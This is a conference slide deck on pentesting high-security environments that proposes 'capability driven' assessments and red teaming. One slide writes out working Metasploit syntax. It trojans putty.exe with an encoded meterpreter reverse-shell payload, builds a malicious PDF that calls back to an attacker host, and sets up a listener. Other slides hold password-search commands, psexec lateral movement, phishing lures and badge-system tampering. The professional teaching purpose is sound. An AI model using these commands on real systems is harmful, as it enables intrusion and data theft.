Big Bang Theory... The Evolution of Pentesting High Security Environments



Presented By: Joe McCray & Chris Gates

Whoami

- Joe McCray (j0emccray)
- Founder/CEO of Strategic Security
- 10+ Years Experience
 - Network/Web/Mobile/Client-Server
 - DoD, Federal Government, Commercial, Financial
 - Specializing in High Security Environments & Bypassing Security Solutions
 - Spoken/Trained at over 200 security conferences





Whoami

- Chris Gates (CG)
 - Twitter \rightarrow carnalOwnage
 - Blog→ carnal0wnage.attackresearch.com
 - − Job → Partner/Principal Security Consultant at Lares
 - Affiliations → Co-Founder NoVAHackers, Attack Research, Metasploit Project
- Previous Work
 - Sr. Security Consultant Rapid7
 - Network Attack Team Lead Applied Security Inc.
 - Penetration Tester BAH
 - Computer Exploitation Technician US Army Red Team
- Previous Talks
 - Pentest Dirty Secrets
 - wXf Web eXploitation Framework
 - Attacking Oracle (via TNS/Web)
- -ColdFusion for Pentesters
- -Information Gathering
- -Client-Side Attacks





Vulnerability Driven Industry

IT Security is focused on minimizing the presence of • vulnerabilities



Security



Vulnerability Driven Industry

- Tons of Issues
 - Doesn't fix underlying problems
 - Usually ignores the "low to pwned" aspect
 - Focus on #'s of highs, meds, lows, and not if an attacker can access important data and can the organization detect it.
 - Most Important:

A vulnerability isn't necessarily required



Data Driven Assessments

- Some more "forward leaning" companies perform "Data Driven" assessments.
- Get company to identify what's important...
- Go after it...Can I get to it?
- Vary rare to focus on detection and response along the way





Vulnerability Driven VS. Capability Driven

- IT Security Industry is currently focused on minimizing the presence of vulnerabilities
- We're recommending a change in focus to what attacker tactics/techniques you can detect and respond to
- More importantly what level of sophistication of attacker tactics/techniques you can detect and respond to
- We call this "Capability Driven Security Assessments"





Evaluating Capabilities

We've broken common attack tactics into 5 phases:

- 1. Targeting & Information Gathering
- 2. Initial Entry
- 3. Post-Exploitation
- 4. Lateral Movement
- 5. Data Exfiltration





The Process





How the Attack Works



L

0101011010110101

001000000001101/

ROR1010101

0101F

01010

Evaluating Capabilities

Within each phase we've got 4 levels of sophistication

- Level 1: Script Kiddie
- Level 2: Sys Admin
- Level 3: Organized crime/hacker for hire

Level 4: State sponsored



1

2

I ame ((-----)) Freeman () Freema () Freeman () Freeman () Freeman () Freema

FEFERERE STATES CRIMEN IN SIDE MULTIPLE IN 6/23/2011 EDEFERERE

3



4

Phase 1: Targeting

Determine who has what I want

O O Northrop Grumman Delivers AN/AAQ-37 Distributed Aperture System Operational So	ftware for the F-35 Lightning II Joint Strike Fighter (NYSE:NOC)
C X for the provide the provided and	36 🔊 🏠 🔻 🖓 🕻 Google 🛛 C
Most Visited - Getting Started Latest Headlines Apple Google Maps Yahoo! YouTube Wikipedia News -	Popular - Note in Reader
Stumble! Ilike it! ∀ + : All + : Tools +	
NORTHROP GRUMMAN	earch
HOME ABOUT US CAPABILITIES CAREERS MEDIA CO	
A LEADER IN GLOBAL SECURITY	
A-Z INDEX CONTRACTS CORPORATE RESPONSIBILITY INVESTOR RELATIONS	
Northrop Grumman - News Releases	
News Releases	
	🖸 SHARE 🖪 🗄 🗠)
Northrop Grumman Delivers AN/AAQ-37 Distributed Aperture System O Fighter	perational Software for the F-35 Lightning II Joint Strike
BALTIMORE, July 21, 2010 (GLOBE NEWSWIRE) Northrop Grumman Corporation (NYSE:NOC) has announced Distributed Aperture System (EO-DAS) to Lockheed Martin Corporation (NYSE:LMT) for integration into the F-35	the delivery of the operational software package for the AN/AAQ-37 Electro-Optical Lightning II Joint Strike Fighter.
"EO-DAS is the first capability of its kind, providing pilots with unprecedented full, 360-degree, situational award director for the Joint Strike Fighter radar and Electro Optical Distributed Aperture System. "This software deliver following an in-depth, eight-year product development and test phase. This delivery marks the critical first step technologies available in the avionics industry."	eness around an aircraft," said Mark Rossi, Northrop Grumman program development y represents the final, full-performance, operational flight program-approved version, in a series of milestones that will provide the warfighter with the most game-changing
Since 2005, Northrop Grumman has flown the DAS on its BAC 1-11 test bed aircraft verifying performance requ Mission Systems Integration Laboratory in Fort Worth. Following system integration, EO-DAS will fly on Lockhee accordance with Lockheed Martin's scheduled flight plan.	irements. DAS is currently undergoing integration and testing at Lockheed Martin's d Martin's Cooperative Avionics Test Bed (CATB) and eventually on an actual F-35 in
The AN/AAQ-37 DAS is a high resolution omnidirectional infrared sensor system that provides advanced spheric warning capabilities for the F-35 Joint Strike Fighter. DAS also gives a pilot 360-degree spherical day/night visio Grumman is now exploring how the existing DAS technology could assist in several additional mission areas, inc	al situational awareness capability, including missile and aircraft detection, track and n capability, with the capability of seeing through the floor of the aircraft. Northrop luding ballistic missile defense and irregular warfare operations.
Northrop Grumman Corporation is a leading global security company whose 120,000 employees provide innovat shipbuilding and technical services to government and commercial customers worldwide. Please visit www.north	ive systems, products, and solutions in aerospace, electronics, information systems, ropgrumman.com for more information.





Phase 1: Targeting

Determine who has access to it

Linked in





Phase 1: Targeting

Determine who has access to it



L





Which of these can you detect and respond to?

- 1. Client-Side Exploit (<1 yr old)
- 2. Client-Side Exploit (<90 days old)
- 3. Phishing for credentials
- 4. File Format Exploit (malicious attachment)
- 5. User Assist/"No Exploit" Exploit (ex: Java Applet)
- 6. Custom Exploit/Oday
- 7. Phone calls





Example Syntax:

Step 1: Create your own payload

wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe ./msfpayload windows/meterpreter/reverse_tcp R | msfencode -c 5 -e x86/shikata_ga_nai -x putty.exe -t exe >/tmp/payload.exe

Step 2: Create an evil pdf

./msfconsole

msf > use windows/fileformat/adobe_pdf_embedded_exe
msf > set PAYLOAD windows/meterpreter/reverse_https
msf > set EXENAME /tmp/payload.exe
msf > set FILENAME FluShotsSchedule.pdf
msf > set INFILENAME /tmp/Report.pdf
msf > set OUTPUTPATH /tmp/
msf > set LHOST [your attacker ip]
msf > exploit

Result: /tmp/FluShotsSchedule.pdf Step 3: Send the evil pdf file to your client msf > use exploit/multi/handler msf > set PAYLOAD windows/meterpreter/reverse_https msf > set ExitOnSession false msf > set LHOST [your attacker ip] msf > set LPORT 443 msf > exploit -j



Strategic Security

Step 4: Send trojaned pdf file to victim and wait for the reverse connection from the client







Example Syntax:

Phishing Examples

10101

01010

3 5 4 5	🔻 🗧 2011 Recrui	tment plan - Message	(HTML)			x
Message						0
Reply Reply Forward to All	Delete Move to Other Folder * Actions *	Block Not Junk Sender	Categorize Follow	Mark as Unread	Ĥ Find ♪ Related + ↓ Select +	
Respond	Actions	Junk E-mail 🛛 🖻	Options	G	Find	
From: web master [To:	[webmaster@beyond.com] @emc.com			Sent:	to 3.3.2011 18	8:48
Subject: 2011 Recruit	tment plan					
🖂 Message 🛛 🐴 2011 Re	ecruitment plan.xls					
I forward this file to ye	ou for review. Please open	and view it.				

С





010101

10101

Favorites 🛛 🍰 🌄 Sugg	ested Sites 🔻 📶 Free Hotmail 🙋 Web Slice Galler	y •		
W-2 Management			😭 🔹 🔂 🔹 🚍 👻 Page 🕶 Sate	:y ▼ Tools ▼ 🕜 ▼
		me Privacy Policy 🖻 Help 🖻 Contact Us 🖻	Search GO	
	About Us Products and Ser	vices Security Demos and	Tutorials e-file Partners	
			W-2 Management Login	
		Get online access to your	Enter your employer's name or code number below to access your	
		w-2 wage and tax statement!	employee account.	
			Employer Name or Code:	
	Get your original W-2 online.	New to W-2 Management?	Network Username:	
	Find Out How	It's simple and fast to get an original, reprinted,		
		or confected w-2 online. Learn More	Network Password:	
	View step-by-step tutorials		Remember my ID on this Computer	
	Management.			
		1	More information on secure enrollment Find employer name	
	Terms and Conditions → © 2013 Equifa>	Workforce Solutions, a/k/a TALX Corporation, a wholly owned subsidian	γ of Equifax Inc., Atlanta, Georgia, All rights reserved.	
		Norton		
			😜 Internet 🗸	🚡 🔹 🔍 100% 🔫



Post Exploitation Levels:

- 1. Access (this level is all that vulnerability assessment proves)
- 2. Leveraged Access (this level where an attacker can go after gaining access to a system).
- 3. Keys to the Kingdom (Customer gives you a specific piece of data that you are tasked with trying to gain access to)
- 4. Long Term Command and Control (The primary focus here is undetected data exfiltration)





Phase 3: Post-Exploitation

Privilege escalation and data mining the compromised machine

- 1. Simple privilege escalation attempts (ex: at command, meterpreter getsystem, uac bypass)
- 2. Simple data pilfering
 - dir c:*password* /s
 - dir c:*pass* /s
 - dir c: $*.pcf/s$
- 3. Simple persistence (ex: registry modification, simple service creation/replacement)
- 4. Advanced persistence (custom backdoor)





Phase 4: Lateral Movement

Moving from host to host within the target network

- 1. Simple file transfer via admin shares, and execution via net/at commands
- 2. NT Resource kit tools
- 3. 3rd Party System Admin tools
- 4. Custom tools (commands built into your backdoor)





Phase 4: Lateral Movement

Example Syntax:

- 1. net use \\some_workstion
- cp mybin.exe \\some_workstation\C\$\temp\mybin.exe
 Or
- 3. Psexec \\some_workstation

Or

4. Push out agent via various update tool (altiris, Microsoft SMS, etc)





Getting business critical data out of the network

Exfiltrate [eks-fil-treyt]. verb,:

 To surreptitiously move personnel or materials out of an area under enemy control.

In computing terms, exfiltration is the unauthorized removal of data from a network.

- 1. Simple data exfil via any port/protocol
- 2. Simple data exfil via HTTP/DNS
- 3. Exfil via HTTPS
- 4. Authenticated proxy aware exfil





Easier to move things in a small packages

- RAR, ZIP, and CAB files.
- Makecab built-in to Windows
- Most systems have 7zip, winRAR, etc
 - All those allow for password protected files
 - Most allow you to break big files into pieces of X size

Staging areas

- Locations to aggregate data before sending it out
- Easier to track tools and stolen data
- Fewer connections to external drops
- Typically workstations plenty of storage space
- Is it abnormal for workstations to have high bandwidth usage?





Fancy way



If \$company has put some effort into segmentation (rare)



What normally happens...



C

Vulnerability Driven VS. Capability Driven

- Today's Information Assurance Programs are comprised of
 - Vulnerability Management (aka patch management)
 - User Awareness
 - Documentation of the first 2
- Vulnerabilities are transient
- Everyday you patch, everyday there's more to patch
- If the attacker isn't relying on the presence of vulnerabilities in order to make his attack work you are in for a world of hurt!





Vulnerability Driven VS. Capability Driven

- Instead of saying "Mr. Customer, you have 600 highs, 1200 mediums, and 5000 lows"
- We saying "Mr. Customer, you able to detect and respond to a level 3 attack (basically organized crime)".
- Level 1: Script Kiddie
- Level 2: Sys Admin
- Level 3: Organized crime/hacker for hire
- Level 4: State sponsored





Giving Customers Man Hour Metrics

- Nothing will ever STOP an attacker the goal is to make target difficult to attack.
- How difficult is difficult?
- At what point would an attacker move on to another vector or another company because this target is too difficult to break into.
- At what point in the above can/will the organization detect the activity and respond?





Example Customer Slide 1

- End-Point Protection Stopped The Exploit
 - Popular Flash, Java exploits worked, but end-point protection stopped the exploit

System Center 2012 Endpoint Prote	ction Alert		23
Potential threat deta	ails		
System Center Endpoint Protection detect your computer. Your access to these item Click Show details to learn more. <u>What ar</u>	ted 1 potential thr s may be suspend <u>e alert levels?</u>	reat that might comp led until you take ar	promise your privacy or damage n action.
Detected items	Alert level	Status	Recommended action
Exploit:SWF/CVE-2012-1535.C	Severe	Suspended	Remove 👻
Recommended action: Remove this see System Center Endpoint Protection detect computer. You can still access the files the access these files, select the Allow action administrator or ask the security administrator	oftware immediate ted programs tha at these program and click Apply a rator for help.	ely. t may compromise y s use without remov ctions. If this option	our privacy or damage your ing them (not recommended). To is not available, log on as
Get more information about this item onlin	<u>10.</u>		
Hide details <<			ly actions Close

Example Customer Slide 2

- Security Mechanisms that had to be bypassed during this engagement
 - XXXXXXXXX Endpoint Protection
 - This required custom exe compilation, encoding, embedding in spreadsheet
 - 8 man hours (Level 3 Rating)
 - XXXXXXXXX Web Proxy
 - Used SSL Encryption
 - Less than 5 minutes (Level 2 Rating)
 - XXXXXXXXX Managed Security Service
 - Used SSL Encryption
 - Less than 5 minutes (Level 2 Rating)

J

Most Likely Attack Vectors

0101011010110101

1010101

000001101/ 10101010



 Once an organization can defend/detect against a Level 2 attacker its time to consider Red Teaming.





 The term *Red Team* originated within the military to describe a team whose purpose is to penetrate security of "friendly" installations, and thus test their security measures. This method of testing allows for the highest level of real world attacks to be simulated and used to expose the potential weak points of an organization's total Information Security

program.





Why Red Teaming

• We typically test "stovepiped" environments.

- Q1 we do network pentesting
- Q2 we do phishing
- Q3 we do wifi
- Q4 we do physical





• Typical Electronic Pentesting:

Electronic

- Network Pentesting
- Wifi
- Web Application
- Phishing





• Social Engineering

Social

- In Person Social Engineering
- Phone Conversation
- Social Profiling





• Physical Attacks

Physical

- Facility access
 - Lock picking, tailgating
- Defeating Physical Controls
- Badge recovery/cloning





Why Red Teaming

 The problem is that tests can be scoped to "pass" each of these areas when they are tested individually, with no analysis on how compromise of one effects another.





• What is convergence

"The merging of distinct technologies, industries, or devices into a unified whole."

http://www.merriam-webster.com/dictionary/convergence

"The combining of different forms of electronic technology, such as data processing and word processing converging into information processing."

http://www.thefreedictionary.com/convergence



Red Teaming Convergence





0101011010110101



• Electronic/Social to Physical Compromise

- Access to company via phishing attack
 - Escalate to domain administrator
 - Set up shop for persistent access
- Locate physical security users/computer
 - Electronically compromise badge system (ex Lenel/CCURE)





• Electronic/Social to Physical Compromise

Add a profile/change the picture of existing profile.





• Original "Eric Smith"

System Administration	Cardholders: Modifying Cardholder]	
Application Edit View Cardholder	r Administration Access Control Monitoring Video Additional Hardwa	Logical Access Window Help . 6 ×
🔍 D. 🖨 💡 🗭 🎊 😽		×
Te 💐 且 🗆 🖷 🔌 🦷 🛽	• 🖀 🕒 🔁 🗛 🎄 🗸 🆓 🛥 📤 💻 🔳	🔜 😔 🧔 💱 🐮 🔨
👷 Cardholder 🔝 Badge 📑 Access	Levels 😰 Directory Accounts 😰 Logical Access 🚀 Guard Tours 🔝	ports
Last name:	First name: Company:	
Smith	Eric	
Employee Number:	Badge type: Employee Two Day badge	
Address:	Title:	
	Bioinformatics	
State: Parking Pe	ermit #1 Employee Type: 10/3/2 [002] N	1:45:29 PM: Lobby - Int Ent (2.7.0)
Phone Protection		
Phone: Parking Pe	emit #2 Location: Badge	4505
E-mail	Building: Floor. Dist	
	Prints.	
Record last changed:	Office phone: Extension: Activati	10/3/2012
Thrazona nasien	Deactra	10/5/2012
OK Cancel Clea	ar Clear Al Capture Import	
	Person type:	holder 💌
ourse 61	Connected by	Januak Anthron Alltha Veren CARD, Annual CORD
, press ra	connected to.	input Acover Mills Test Caller Moler School

• New "Eric Smith" 😳

2 Cardholder 121 Ba	dge 📕 📕 Access Levels	Directory Accounts	🖸 Logical Access 😤 Gu	ard Tours 📑 Reports		
Last name:	First	name:	Company:	- 6	-	
Smith	Enc				2.0	
Employee Number:	Bad	ge type:			X	
	JE IO	pioyee - with barcode		<u> </u>	9	
Address:		- Title:		and the second s	1	
				न 🏼 🕅		
i City:		Department:				
		Bioinformatics		·		
State:	Parking Permit #1	Employee Type:		Access Granted -110 LNL-20	000 (11018)	-
	E-0523			Badge ID: 9060		•
Phone:	Parking Permit #2	Location:		Badge ID:	9060	
A MINO		and the second second	145157	Issue code:	0	
E-mail:		Building:	Floor:	- Prints:	0	_
			<u> </u>	Activator	9/24/2012	_
Record last changed:		Office phone:	Extension:	- Activate.	0/24/2012	_
8/24/2012 1:28:20 PM				Deactivate:	8/24/2022	

• Electronic/Social to Physical Compromise

- With picture/info changed.
- Go to facility, get a temporary badge
- Using access to badge system upgrade the temporary badge





• Now with all access 😳

System Administration -	- [Cardholders]				
Application Edit View Cardho	der Administration Access	s <u>C</u> ontrol M <u>o</u> nitoring V	/ideo A <u>d</u> ditiona	al Hardware Logical	Access <u>W</u> indow <u>H</u> elp
🕙 🖪 🥔 😵 🔛	ý 🛋 📄 🔤 🖬 🕵	8 🙈 💏 🙈	3 🗅 🄁	🙁 👈 🖾	
🏣 🍂 🔜 💷 🧇 😼	📕 0 🔀 😨 😨	🔺 🖧 🧸 🏤	57 🛃 📕	🔌 💷 📌 🔜 🄇	ية 🛃 📽 🍯 🌔 🌒
🕵 Cardholder 🖭 Badge 🎽 Acc	ess Levels 🛛 🕵 Directory Acco	ounts 📔 🕵 Logical Access	s 😵 Guard To	ours 🔚 Reports 🗎	
Last name:	First name:	Company:			-
Smith	Enc				
Employee Number:	Badge type:				
	Employee - with barcode	9	~		24
Show levels for badge ID (issue code):					
€ 4509 (0)	☐ ☐ Show inactive badges				
				pertra contra da	ALL DE LE
Access Levels Activate	Deactivate Intrusion Auth	ority Assignment Type	Segment		
Data Center/Plus IDF's		Standard			
Ceneral Access	•	Standard		No Last Access	
og Gym		Standard		1	
Special Special		Standard		Badge ID:	4509
Might Janitors		Standard		Issue code:	0
				Prints:	
			1 1	1 m Ko.	
				Activate:	10/3/2012
Show unassigned levels		6 le	evels assigned	Deactivate:	10/5/2012
Search Add M	Andifu Delete	Print Encod	le		
		LINGOG			
				2	2 of 2





• Physical to Electronic Compromise

- In person Physical Attack
 - Either by Social Engineering
 - Fake Badges
 - Tailgating
 - Pure physical





• Physical to Electronic Compromise







Red Teaming Physical to Electronic Compromise









• Physical to Electronic Compromise

• Once inside compromise a computer or leave a pwn-plug for persistent electronic access.





• Physical to Electronic Compromise



• Physical to Electronic Compromise



Questions?



110101010101



Holla @ CG....

Email: cgates [] laresconsulting [] com

Twitter: http://twitter.com/carnal0wnage

Work http://lares.com



Blog http://carnal0wnage.attackresearch.com

Holla @ j0e....

- Toll Free: 1-866-892-2132
- Email: joe@strategicsec.com
- Twitter:http://twitter.com/j0emccray
- Slideshare: <u>http://www.slideshare.net/joemccray</u>

LinkedIn: http://www.linkedin.com/in/joemccray